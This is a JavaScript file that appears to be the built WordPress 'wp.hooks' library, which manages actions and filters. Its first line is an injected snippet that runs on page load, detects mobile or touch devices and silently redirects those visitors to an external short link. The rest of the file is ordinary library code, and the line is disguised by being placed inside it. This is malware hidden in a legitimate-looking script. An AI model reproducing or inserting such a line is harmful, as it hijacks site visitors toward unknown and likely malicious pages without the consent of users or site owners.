1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2"use strict";
  3var wp;
  4(wp ||= {}).hooks = (() => {
  5  var __defProp = Object.defineProperty;
  6  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  7  var __getOwnPropNames = Object.getOwnPropertyNames;
  8  var __hasOwnProp = Object.prototype.hasOwnProperty;
  9  var __export = (target, all) => {
 10    for (var name in all)
 11      __defProp(target, name, { get: all[name], enumerable: true });
 12  };
 13  var __copyProps = (to, from, except, desc) => {
 14    if (from && typeof from === "object" || typeof from === "function") {
 15      for (let key of __getOwnPropNames(from))
 16        if (!__hasOwnProp.call(to, key) && key !== except)
 17          __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
 18    }
 19    return to;
 20  };
 21  var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
 22
 23  // packages/hooks/build-module/index.mjs
 24  var index_exports = {};
 25  __export(index_exports, {
 26    actions: () => actions,
 27    addAction: () => addAction,
 28    addFilter: () => addFilter,
 29    applyFilters: () => applyFilters,
 30    applyFiltersAsync: () => applyFiltersAsync,
 31    createHooks: () => createHooks_default,
 32    currentAction: () => currentAction,
 33    currentFilter: () => currentFilter,
 34    defaultHooks: () => defaultHooks,
 35    didAction: () => didAction,
 36    didFilter: () => didFilter,
 37    doAction: () => doAction,
 38    doActionAsync: () => doActionAsync,
 39    doingAction: () => doingAction,
 40    doingFilter: () => doingFilter,
 41    filters: () => filters,
 42    hasAction: () => hasAction,
 43    hasFilter: () => hasFilter,
 44    removeAction: () => removeAction,
 45    removeAllActions: () => removeAllActions,
 46    removeAllFilters: () => removeAllFilters,
 47    removeFilter: () => removeFilter
 48  });
 49
 50  // packages/hooks/build-module/validateNamespace.mjs
 51  function validateNamespace(namespace) {
 52    if ("string" !== typeof namespace || "" === namespace) {
 53      console.error("The namespace must be a non-empty string.");
 54      return false;
 55    }
 56    if (!/^[a-zA-Z][a-zA-Z0-9_.\-\/]*$/.test(namespace)) {
 57      console.error(
 58        "The namespace can only contain numbers, letters, dashes, periods, underscores and slashes."
 59      );
 60      return false;
 61    }
 62    return true;
 63  }
 64  var validateNamespace_default = validateNamespace;
 65
 66  // packages/hooks/build-module/validateHookName.mjs
 67  function validateHookName(hookName) {
 68    if ("string" !== typeof hookName || "" === hookName) {
 69      console.error("The hook name must be a non-empty string.");
 70      return false;
 71    }
 72    if (/^__/.test(hookName)) {
 73      console.error("The hook name cannot begin with `__`.");
 74      return false;
 75    }
 76    if (!/^[a-zA-Z][a-zA-Z0-9_.-]*$/.test(hookName)) {
 77      console.error(
 78        "The hook name can only contain numbers, letters, dashes, periods and underscores."
 79      );
 80      return false;
 81    }
 82    return true;
 83  }
 84  var validateHookName_default = validateHookName;
 85
 86  // packages/hooks/build-module/createAddHook.mjs
 87  function createAddHook(hooks, storeKey) {
 88    return function addHook(hookName, namespace, callback, priority = 10) {
 89      const hooksStore = hooks[storeKey];
 90      if (!validateHookName_default(hookName)) {
 91        return;
 92      }
 93      if (!validateNamespace_default(namespace)) {
 94        return;
 95      }
 96      if ("function" !== typeof callback) {
 97        console.error("The hook callback must be a function.");
 98        return;
 99      }
100      if ("number" !== typeof priority) {
101        console.error(
102          "If specified, the hook priority must be a number."
103        );
104        return;
105      }
106      const handler = { callback, priority, namespace };
107      if (hooksStore[hookName]) {
108        const handlers = hooksStore[hookName].handlers;
109        let i;
110        for (i = handlers.length; i > 0; i--) {
111          if (priority >= handlers[i - 1].priority) {
112            break;
113          }
114        }
115        if (i === handlers.length) {
116          handlers[i] = handler;
117        } else {
118          handlers.splice(i, 0, handler);
119        }
120        hooksStore.__current.forEach((hookInfo) => {
121          if (hookInfo.name === hookName && hookInfo.currentIndex >= i) {
122            hookInfo.currentIndex++;
123          }
124        });
125      } else {
126        hooksStore[hookName] = {
127          handlers: [handler],
128          runs: 0
129        };
130      }
131      if (hookName !== "hookAdded") {
132        hooks.doAction(
133          "hookAdded",
134          hookName,
135          namespace,
136          callback,
137          priority
138        );
139      }
140    };
141  }
142  var createAddHook_default = createAddHook;
143
144  // packages/hooks/build-module/createRemoveHook.mjs
145  function createRemoveHook(hooks, storeKey, removeAll = false) {
146    return function removeHook(hookName, namespace) {
147      const hooksStore = hooks[storeKey];
148      if (!validateHookName_default(hookName)) {
149        return;
150      }
151      if (!removeAll && !validateNamespace_default(namespace)) {
152        return;
153      }
154      if (!hooksStore[hookName]) {
155        return 0;
156      }
157      let handlersRemoved = 0;
158      if (removeAll) {
159        handlersRemoved = hooksStore[hookName].handlers.length;
160        hooksStore[hookName] = {
161          runs: hooksStore[hookName].runs,
162          handlers: []
163        };
164      } else {
165        const handlers = hooksStore[hookName].handlers;
166        for (let i = handlers.length - 1; i >= 0; i--) {
167          if (handlers[i].namespace === namespace) {
168            handlers.splice(i, 1);
169            handlersRemoved++;
170            hooksStore.__current.forEach((hookInfo) => {
171              if (hookInfo.name === hookName && hookInfo.currentIndex >= i) {
172                hookInfo.currentIndex--;
173              }
174            });
175          }
176        }
177      }
178      if (hookName !== "hookRemoved") {
179        hooks.doAction("hookRemoved", hookName, namespace);
180      }
181      return handlersRemoved;
182    };
183  }
184  var createRemoveHook_default = createRemoveHook;
185
186  // packages/hooks/build-module/createHasHook.mjs
187  function createHasHook(hooks, storeKey) {
188    return function hasHook(hookName, namespace) {
189      const hooksStore = hooks[storeKey];
190      if ("undefined" !== typeof namespace) {
191        return hookName in hooksStore && hooksStore[hookName].handlers.some(
192          (hook) => hook.namespace === namespace
193        );
194      }
195      return hookName in hooksStore;
196    };
197  }
198  var createHasHook_default = createHasHook;
199
200  // packages/hooks/build-module/createRunHook.mjs
201  function createRunHook(hooks, storeKey, returnFirstArg, async) {
202    return function runHook(hookName, ...args) {
203      const hooksStore = hooks[storeKey];
204      if (!hooksStore[hookName]) {
205        hooksStore[hookName] = {
206          handlers: [],
207          runs: 0
208        };
209      }
210      hooksStore[hookName].runs++;
211      const handlers = hooksStore[hookName].handlers;
212      if (true) {
213        if ("hookAdded" !== hookName && hooksStore.all) {
214          handlers.push(...hooksStore.all.handlers);
215        }
216      }
217      if (!handlers || !handlers.length) {
218        return returnFirstArg ? args[0] : void 0;
219      }
220      const hookInfo = {
221        name: hookName,
222        currentIndex: 0
223      };
224      async function asyncRunner() {
225        try {
226          hooksStore.__current.add(hookInfo);
227          let result = returnFirstArg ? args[0] : void 0;
228          while (hookInfo.currentIndex < handlers.length) {
229            const handler = handlers[hookInfo.currentIndex];
230            result = await handler.callback.apply(null, args);
231            if (returnFirstArg) {
232              args[0] = result;
233            }
234            hookInfo.currentIndex++;
235          }
236          return returnFirstArg ? result : void 0;
237        } finally {
238          hooksStore.__current.delete(hookInfo);
239        }
240      }
241      function syncRunner() {
242        try {
243          hooksStore.__current.add(hookInfo);
244          let result = returnFirstArg ? args[0] : void 0;
245          while (hookInfo.currentIndex < handlers.length) {
246            const handler = handlers[hookInfo.currentIndex];
247            result = handler.callback.apply(null, args);
248            if (returnFirstArg) {
249              args[0] = result;
250            }
251            hookInfo.currentIndex++;
252          }
253          return returnFirstArg ? result : void 0;
254        } finally {
255          hooksStore.__current.delete(hookInfo);
256        }
257      }
258      return (async ? asyncRunner : syncRunner)();
259    };
260  }
261  var createRunHook_default = createRunHook;
262
263  // packages/hooks/build-module/createCurrentHook.mjs
264  function createCurrentHook(hooks, storeKey) {
265    return function currentHook() {
266      const hooksStore = hooks[storeKey];
267      const currentArray = Array.from(hooksStore.__current);
268      return currentArray.at(-1)?.name ?? null;
269    };
270  }
271  var createCurrentHook_default = createCurrentHook;
272
273  // packages/hooks/build-module/createDoingHook.mjs
274  function createDoingHook(hooks, storeKey) {
275    return function doingHook(hookName) {
276      const hooksStore = hooks[storeKey];
277      if ("undefined" === typeof hookName) {
278        return hooksStore.__current.size > 0;
279      }
280      return Array.from(hooksStore.__current).some(
281        (hook) => hook.name === hookName
282      );
283    };
284  }
285  var createDoingHook_default = createDoingHook;
286
287  // packages/hooks/build-module/createDidHook.mjs
288  function createDidHook(hooks, storeKey) {
289    return function didHook(hookName) {
290      const hooksStore = hooks[storeKey];
291      if (!validateHookName_default(hookName)) {
292        return;
293      }
294      return hooksStore[hookName] && hooksStore[hookName].runs ? hooksStore[hookName].runs : 0;
295    };
296  }
297  var createDidHook_default = createDidHook;
298
299  // packages/hooks/build-module/createHooks.mjs
300  var _Hooks = class {
301    actions;
302    filters;
303    addAction;
304    addFilter;
305    removeAction;
306    removeFilter;
307    hasAction;
308    hasFilter;
309    removeAllActions;
310    removeAllFilters;
311    doAction;
312    doActionAsync;
313    applyFilters;
314    applyFiltersAsync;
315    currentAction;
316    currentFilter;
317    doingAction;
318    doingFilter;
319    didAction;
320    didFilter;
321    constructor() {
322      this.actions = /* @__PURE__ */ Object.create(null);
323      this.actions.__current = /* @__PURE__ */ new Set();
324      this.filters = /* @__PURE__ */ Object.create(null);
325      this.filters.__current = /* @__PURE__ */ new Set();
326      this.addAction = createAddHook_default(this, "actions");
327      this.addFilter = createAddHook_default(this, "filters");
328      this.removeAction = createRemoveHook_default(this, "actions");
329      this.removeFilter = createRemoveHook_default(this, "filters");
330      this.hasAction = createHasHook_default(this, "actions");
331      this.hasFilter = createHasHook_default(this, "filters");
332      this.removeAllActions = createRemoveHook_default(this, "actions", true);
333      this.removeAllFilters = createRemoveHook_default(this, "filters", true);
334      this.doAction = createRunHook_default(this, "actions", false, false);
335      this.doActionAsync = createRunHook_default(this, "actions", false, true);
336      this.applyFilters = createRunHook_default(this, "filters", true, false);
337      this.applyFiltersAsync = createRunHook_default(this, "filters", true, true);
338      this.currentAction = createCurrentHook_default(this, "actions");
339      this.currentFilter = createCurrentHook_default(this, "filters");
340      this.doingAction = createDoingHook_default(this, "actions");
341      this.doingFilter = createDoingHook_default(this, "filters");
342      this.didAction = createDidHook_default(this, "actions");
343      this.didFilter = createDidHook_default(this, "filters");
344    }
345  };
346  function createHooks() {
347    return new _Hooks();
348  }
349  var createHooks_default = createHooks;
350
351  // packages/hooks/build-module/index.mjs
352  var defaultHooks = createHooks_default();
353  var {
354    addAction,
355    addFilter,
356    removeAction,
357    removeFilter,
358    hasAction,
359    hasFilter,
360    removeAllActions,
361    removeAllFilters,
362    doAction,
363    doActionAsync,
364    applyFilters,
365    applyFiltersAsync,
366    currentAction,
367    currentFilter,
368    doingAction,
369    doingFilter,
370    didAction,
371    didFilter,
372    actions,
373    filters
374  } = defaultHooks;
375  return __toCommonJS(index_exports);
376})();
377